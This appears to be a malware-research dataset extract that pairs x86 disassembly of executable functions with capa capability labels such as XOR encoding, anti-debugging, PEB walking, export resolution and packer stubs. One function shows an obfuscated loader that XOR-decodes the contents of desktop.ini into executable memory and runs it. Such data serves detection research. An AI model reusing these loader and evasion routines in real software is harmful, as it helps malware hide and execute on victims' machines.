joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d21
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov dword [ebp - 8], 0x1747
mov dword [ebp - 0xc], 0x320d
mov dword [ebp - 4], 0x572
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
and eax, 0x48ae
imul eax, ecx
imul eax, eax, 0x13bb2728
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [0x41289a]
or eax, 0x432
sub eax, ecx
and eax, 0x2507
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
or eax, ecx
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0xee5
mov dword [ebp - 0x10], 0x613db
mov eax, dword [ebp - 0xc]
mov ecx, dword [0x41289e]
mov edx, dword [0x4128a2]
mov edi, 0x3e3a
xor eax, edi
imul eax, eax, 0x2581
and dword [ebp - 8], 0
mov esi, 0x5321
or eax, esi
imul eax, ecx
imul edx, eax
mov ecx, 0x1dd4f0f2
sub edx, ecx
je 0x401e3d
push ebx
mov eax, dword [0x4128b2]
imul eax, eax, 0x398b
add eax, 0xea9b2252
add dword [ebp - 4], eax
add dword [ebp - 4], 0xf24ab8
mov ebx, dword [0x4128ae]
xor edx, edx
mov eax, 0x3637
div ebx
mov ebx, dword [0x4128aa]
mov edx, eax
mov eax, dword [0x4128a6]
sub edx, ebx
mov ebx, dword [ebp - 0x10]
imul eax, edx
xor edx, edx
div ebx
mov edx, 0x7c01
or eax, 0x5bfe
sub edx, eax
mov eax, dword [ebp - 0xc]
add dword [ebp - 8], edx
mov edx, dword [0x41289e]
xor eax, edi
imul eax, eax, 0x2581
or eax, esi
imul eax, edx
mov edx, dword [0x4128a2]
imul edx, eax
sub edx, ecx
cmp dword [ebp - 8], edx
jb 0x401dc1
pop ebx
pop edi
pop esi
leave
ret

Function at 0x40202d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0x298
mov dword [ebp - 4], 0x5fb9
mov eax, dword [0x412802]
xor eax, 0x5508
sub eax, 0x1dff
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov ecx, 0xd09
sub ecx, eax
mov eax, dword [0x412806]
and eax, ecx
mov ecx, dword [ebp - 8]
add eax, 0x2ce1
imul ecx, eax
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
or eax, ecx
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], 0x1f3f
mov dword [ebp - 0x1c], 0x1466
mov dword [ebp - 0x18], 0x465d
mov dword [ebp - 0x14], 0x21f2
xor edx, edx
mov dword [ebp - 0x10], 0x1ede
mov dword [ebp - 8], 0x5b2f
mov dword [ebp - 0xc], 0x5978
mov eax, dword [ebp - 0xc]
mov ecx, dword [0x41281a]
and eax, 0x2495
or eax, ecx
mov ecx, dword [ebp - 8]
or ecx, eax
mov eax, dword [0x412816]
and ecx, eax
mov eax, dword [ebp - 0x10]
and eax, ecx
mov ecx, 0x2001
sub ecx, eax
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
add dword [ebp - 4], 0x275a7ca8
mov ecx, dword [0x412812]
mov eax, dword [ebp - 0x14]
imul ecx, ecx, 0x1cf3
add eax, ecx
mov ecx, dword [0x41280e]
xor eax, ecx
mov ecx, dword [ebp - 0x18]
sub eax, ecx
mov ecx, dword [0x41280a]
and eax, ecx
lea edx, [edx + eax - 0x2402]
mov eax, dword [ebp - 0x1c]
add eax, 0x1a1e
or eax, 0x1516
add eax, dword [ebp - 0x20]
mov ecx, 0x222a
xor eax, 0xffffffbf
and eax, 0x3943
sub ecx, eax
cmp edx, ecx
jb 0x40209b
leave
ret
Function at 0x402aa4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0x3f93
mov dword [ebp - 8], 0x1eeb
mov dword [ebp - 4], 0x55d8
mov dword [ebp - 0x10], 0x1cc8
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
sub eax, ecx
mov ecx, dword [0x41281e]
and eax, ecx
mov ecx, dword [ebp - 0xc]
and ecx, eax
imul ecx, ecx, 0xeb057b2
mov dword [ebp - 0xc], ecx
mov eax, dword [0x412826]
mov ecx, dword [0x412822]
or eax, ecx
mov ecx, dword [ebp - 0x10]
and ecx, eax
add ecx, 0x40c
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor eax, ecx
mov dword [ebp - 4], eax
xor ecx, ecx
push esi
mov dword [ebp - 0x10], 0x4d40
mov eax, dword [ebp - 0x10]
mov esi, dword [0x412842]
imul eax, eax, 0x15c
xor edx, edx
div esi
mov edx, eax
xor edx, 0x75ab
imul edx, edx, 0x1d84
mov eax, 0x9888822
sub eax, edx
add dword [ebp - 4], eax
add dword [ebp - 4], 0x809c9bb
mov eax, dword [0x41283e]
mov edx, dword [0x41283a]
or eax, edx
mov edx, dword [0x412836]
imul edx, eax
lea eax, [edx + ecx - 0x14883cfc]
mov ecx, dword [0x412832]
mov edx, dword [0x41282e]
mov esi, dword [0x41282a]
add ecx, eax
mov eax, 0x53d4
sub eax, edx
xor edx, edx
div esi
or eax, 0x7ffd
sub eax, 0x7f13
cmp ecx, eax
jb 0x402b0d
pop esi
leave
ret

Function at 0x4033f8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], 0x4df4
mov eax, dword [0x412846]
push 0xffffffffffffffe6
pop ecx
sub ecx, eax
and ecx, 0x80
mov dword [ebp - 8], ecx
mov eax, dword [0x412852]
mov ecx, dword [0x41284e]
imul eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, eax
mov eax, dword [0x41284a]
imul ecx, eax
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
xor esi, esi
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x931
mov eax, dword [0x41286e]
push 3
xor edx, edx
pop ecx
div ecx
mov ecx, dword [0x41286a]
or ecx, eax
mov eax, dword [ebp - 8]
imul eax, ecx
mov ecx, dword [ebp - 4]
lea eax, [eax + ecx - 0x1260543]
mov dword [ebp - 4], eax
add dword [ebp - 4], 0x1015e824
mov ecx, dword [0x412866]
mov eax, dword [0x412862]
sub eax, ecx
mov ecx, dword [0x41285e]
xor eax, 0x3f41
and ecx, eax
mov eax, dword [0x41285a]
mov eax, dword [0x412856]
xor ecx, 0xd6
or eax, 0x5fad
add esi, ecx
xor eax, 0x5f5c
cmp esi, eax
jb 0x403441
pop esi
leave
ret
Function at 0x40451c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov dword [ebp - 0xc], 0x5c53
mov dword [ebp - 8], 0x2408
mov eax, dword [ebp - 0xc]
mov ecx, dword [0x412872]
and eax, 0xfffff723
add eax, 0x11ec
and eax, 0x3080
or eax, ecx
or eax, 0x127
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [0x41287a]
imul eax, eax, 0x7784
sub eax, 0x1605
xor eax, ecx
mov ecx, dword [0x412876]
and ecx, eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0x24f1
mov dword [ebp - 8], 0x5177
mov dword [ebp - 0x18], 0x4dfd
mov dword [ebp - 0x14], 0x102b
mov eax, dword [ebp - 8]
mov edx, dword [0x41287e]
mov edi, 0x3640
or eax, edi
lea eax, [eax + edx - 0x1697]
mov edx, dword [ebp - 0xc]
xor edx, eax
mov esi, 0x5031
xor ecx, ecx
sub edx, esi
je 0x404656
push ebx
mov dword [ebp - 0x10], 1
mov eax, dword [0x412896]
mov edx, dword [0x412892]
mov ebx, dword [ebp - 0x10]
or eax, 0x16ef
sub eax, edx
xor edx, edx
or eax, 0xdad
div ebx
mov edx, dword [0x41288e]
or eax, edx
add eax, 0xffff986c
add dword [ebp - 4], eax
add dword [ebp - 4], 0x637b14
mov eax, dword [ebp - 0x14]
mov ebx, dword [0x41288a]
xor edx, edx
and eax, 0x6db8
div ebx
mov ebx, dword [0x412886]
xor edx, edx
div ebx
mov edx, dword [0x412882]
add eax, edx
mov edx, dword [ebp - 0x18]
xor edx, eax
mov eax, dword [ebp - 8]
lea ecx, [ecx + edx - 0x5e57]
mov edx, dword [0x41287e]
or eax, edi
lea eax, [eax + edx - 0x1697]
mov edx, dword [ebp - 0xc]
xor edx, eax
sub edx, esi
cmp ecx, edx
jb 0x4045c8
pop ebx
pop edi
pop esi
leave
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x4080f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov edx, dword [ebx + 8]
mov eax, 0x7d8b5761
mov dword [ebp + 0x5a], edi
and al, 0xf7
je 0x408166
mov eax, dword [ebp + 0x10]
invalid
Function at 0x407660
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x414350], eax
mov ecx, 1
sub ecx, 1
lea esi, [esi]
add ecx, 1
mov edx, dword [ecx*4 + 0x41434c]
mov eax, edx
shr eax, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
lea eax, [eax + ecx]
mov dword [ecx*4 + 0x414350], eax
cmp ecx, 0x26f
jl 0x407670
mov dword [0x411430], 0x270
ret

Function at 0x4076b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, dword [0x413010]
cmp eax, dword [0x4113e0]
je 0x4076c8
mov dword [0x411430], 0x271
cmp dword [0x411430], 0x270
jl 0x4077e7
cmp dword [0x411430], 0x271
jne 0x4076ff
mov eax, dword [0x413010]
call fcn.00407660
mov eax, dword [0x413010]
not eax
mov dword [0x413010], eax
mov dword [0x4113e0], eax
mov ebx, 0
sub ebx, 1
nop
add ebx, 1
mov eax, dword [ebx*4 + 0x414354]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x414350]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x414984]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x411440]
xor edx, eax
mov dword [ebx*4 + 0x414350], edx
cmp ebx, 0xe2
jl 0x407708
mov ebx, 0xe3
sub ebx, 1
mov esi, esi
add ebx, 1
mov eax, dword [ebx*4 + 0x414354]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x414350]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x413fc4]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x411440]
xor edx, eax
mov dword [ebx*4 + 0x414350], edx
cmp ebx, 0x26e
jl 0x40775c
mov eax, dword [0x414d0c]
and eax, 0x80000000
mov edx, dword [0x414350]
and edx, 0x7fffffff
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [0x414980]
xor edx, eax
and ecx, 1
mov eax, dword [ecx*4 + 0x411440]
xor eax, edx
mov dword [0x414d0c], eax
mov dword [0x411430], 0
mov eax, dword [0x411430]
mov eax, dword [eax*4 + 0x414350]
add dword [0x411430], 1
mov edx, eax
shr edx, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
pop ebx
ret
Function at 0x409050
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x411190]
cmp ax, 0xcb
je 0x40914c
cmp ax, 0xcc
je 0x40914c
mov edx, dword [0x414f60]
test edx, edx
je 0x409082
mov eax, dword [0x414e00]
call edx
mov ebx, eax
jmp 0x409087
mov ebx, 0x414e04
cmp word [0x414df0], 0
jle 0x4090aa
mov eax, 0x414dd0
call fcn.004092c0
mov eax, ebx
call fcn.00408c30
mov eax, ebx
call fcn.00408ca0
mov edi, dword [ebx]
jmp 0x4090ca
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x4090c5
mov edx, edi
mov eax, ebx
call fcn.00408100
jmp 0x4090c8
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x4090b0
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x414df0], 0
jle 0x40914c
mov edx, 0x414d10
mov eax, ebx
call fcn.00408230
mov edi, eax
test edi, edi
je 0x40911f
mov eax, dword [0x414da4]
mov dword [edi + 0xc], eax
cmp dword [0x414da4], 0
je 0x409114
mov eax, dword [0x414da4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x414da4], eax
sub word [0x414df0], 1
cmp word [0x414df0], 0
sete bl
mov eax, 0x414dd0
call fcn.004092d0
test bl, bl
je 0x40914c
mov eax, 0x414dd0
call fcn.004092b0
pop edi
pop esi
pop ebx
ret

Function at 0x40c1f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 8], eax
mov esi, esi
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040c1b0
test al, al
jne 0x40c227
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x40c208
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40c230
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
push edi
push ebp
lea esp, [esp - 0x48]
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], ecx
mov dword [esp + 0x3c], eax
mov edx, dword [eax + 0x3c]
mov ecx, dword [esp + 0x3c]
lea eax, [edx + ecx]
mov eax, dword [eax + 0x78]
mov edx, dword [esp + 0x3c]
lea esi, [eax + edx]
mov edi, esp
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1c]
add eax, dword [esp + 0x3c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x20]
add eax, dword [esp + 0x3c]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x24]
add eax, dword [esp + 0x3c]
mov dword [esp + 0x2c], eax
mov byte [esp + 0x34], 0
call fcn.0040bef0
mov dword [esp + 0x28], eax
call fcn.0040bf20
mov ebp, eax
mov eax, dword [esp + 0x18]
sub eax, 1
mov edi, eax
mov esi, 0
cmp edi, esi
jb 0x40c33a
sub esi, 1
nop
add esi, 1
mov eax, esi
shl eax, 2
add eax, dword [esp + 0x30]
mov eax, dword [eax]
add eax, dword [esp + 0x3c]
mov ebx, eax
mov edx, ebx
mov eax, ebp
call fcn.0040c180
test al, al
je 0x40c2fc
mov eax, esi
shl eax, 1
add eax, dword [esp + 0x2c]
movzx eax, word [eax]
shl eax, 2
add eax, dword [esp + 0x38]
mov eax, dword [eax]
mov edx, dword [esp + 0x40]
mov dword [edx], eax
mov al, byte [esp + 0x34]
test al, al
jne 0x40c33a
mov byte [esp + 0x34], 1
mov edx, ebx
mov eax, dword [esp + 0x28]
call fcn.0040c180
test al, al
je 0x40c332
mov eax, esi
shl eax, 1
add eax, dword [esp + 0x2c]
movzx eax, word [eax]
shl eax, 2
add eax, dword [esp + 0x38]
mov eax, dword [eax]
mov edx, dword [esp + 0x44]
mov dword [edx], eax
mov al, byte [esp + 0x34]
test al, al
jne 0x40c33a
mov byte [esp + 0x34], 1
cmp edi, esi
ja 0x40c2b4
lea esp, [esp + 0x48]
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40c770
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x7c]
push ebx
push esi
push edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], pe_nt_image_headers32
mov dword [ebp - 0xc], 0x20
mov dword [ebp - 8], 0x40
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], eax
mov edx, dword [eax + 0x30]
mov eax, dword [ecx + 0x3c]
lea eax, [edx + eax]
movzx edx, word [eax + 6]
add eax, 0xf8
mov dword [ebp - 0x74], eax
lea eax, [edx - 1]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
jb 0x40c8f5
sub dword [ebp - 0x6c], 1
lea esi, [esi]
add dword [ebp - 0x6c], 1
imul eax, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x74]
lea esi, [eax + edx]
lea edi, [ebp - 0x4c]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x7c]
or edx, eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
test dword [ebp - 0x50], 0xffffffff
je 0x40c8e9
mov ebx, dword [ebp - 0x28]
mov eax, ebx
and eax, 0x2000000
je 0x40c84c
push 0x4000
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 8]
jmp 0x40c8e9
mov eax, ebx
and eax, 0x20000000
je 0x40c85e
mov dword [ebp - 0x68], 1
jmp 0x40c865
mov dword [ebp - 0x68], 0
mov eax, ebx
and eax, 0x40000000
je 0x40c877
mov dword [ebp - 0x64], 1
jmp 0x40c87e
mov dword [ebp - 0x64], 0
mov eax, ebx
and eax, 0x80000000
je 0x40c890
mov dword [ebp - 0x60], 1
jmp 0x40c897
mov dword [ebp - 0x60], 0
mov eax, ebx
and eax, 0x4000000
je 0x40c8a9
mov dword [ebp - 0x5c], 1
jmp 0x40c8b0
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x68]
shl eax, 4
lea eax, [ebp + eax - 0x24]
mov edx, dword [ebp - 0x64]
lea ecx, [eax + edx*8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x5c], 1
jne 0x40c8d6
or dword [ebp - 0x54], 0x200
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 4]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
ja 0x40c7f4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x28a84f51
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1a1e608b
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0xdef8d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8bf000]
push edi
or ebp, 0xffffffff
jmp 0xdef8f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xdef8f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdef8e8
mov eax, 1
add ebx, ebx
jne 0xdef90b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xdef91c
jne 0xdef93b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdef93b
dec eax
add ebx, ebx
jne 0xdef928
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xdef900
add ebx, ebx
jne 0xdef937
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xdef98d
xor ecx, ecx
sub eax, 3
jb 0xdef953
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xdef9c2
sar eax, 1
mov ebp, eax
jmp 0xdef95e
add ebx, ebx
jne 0xdef95e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdef92c
inc ecx
add ebx, ebx
jne 0xdef96c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdef92c
add ebx, ebx
jne 0xdef979
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xdef96e
jne 0xdef98a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xdef96e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xdef9ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xdef99e
jmp 0xdef8ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xdef9ac
add edi, ecx
jmp 0xdef8ee
pop esi
mov edi, esi
mov ecx, 0x8f20
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xdef9ca
cmp byte [edi], 0x1e
jne 0xdef9ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xdef9cf
lea edi, [esi + 0x9eb000]
mov eax, dword [edi]
or eax, eax
je 0xdefa3e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa4abb4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa4acb8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xdef9fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa4acbc]
or eax, eax
je 0xdefa38
mov dword [ebx], eax
add ebx, 4
jmp 0xdefa19
call dword [esi + 0xa4accc]
mov ebp, dword [esi + 0xa4acc0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xdefa72
sub esp, 0xffffff80
jmp 0x54624c
Function at 0x1b7f5c9
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x1b7f5e6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b7f5d7
add dl, dl
jne 0x1b7f5f1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b7f63d
xor eax, eax
add dl, dl
jne 0x1b7f5fe
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b7f6da
add dl, dl
jne 0x1b7f60d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b7f618
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b7f623
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b7f62e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1b7f638
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x1b7f5dd
mov eax, 1
add dl, dl
jne 0x1b7f64b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b7f656
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b7f642
sub eax, 2
jne 0x1b7f685
mov ecx, 1
add dl, dl
jne 0x1b7f66b
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b7f676
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b7f662
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b7f5dd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1b7f69c
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b7f6a7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b7f693
cmp eax, 0x7d00
jae 0x1b7f6ca
cmp eax, 0x500
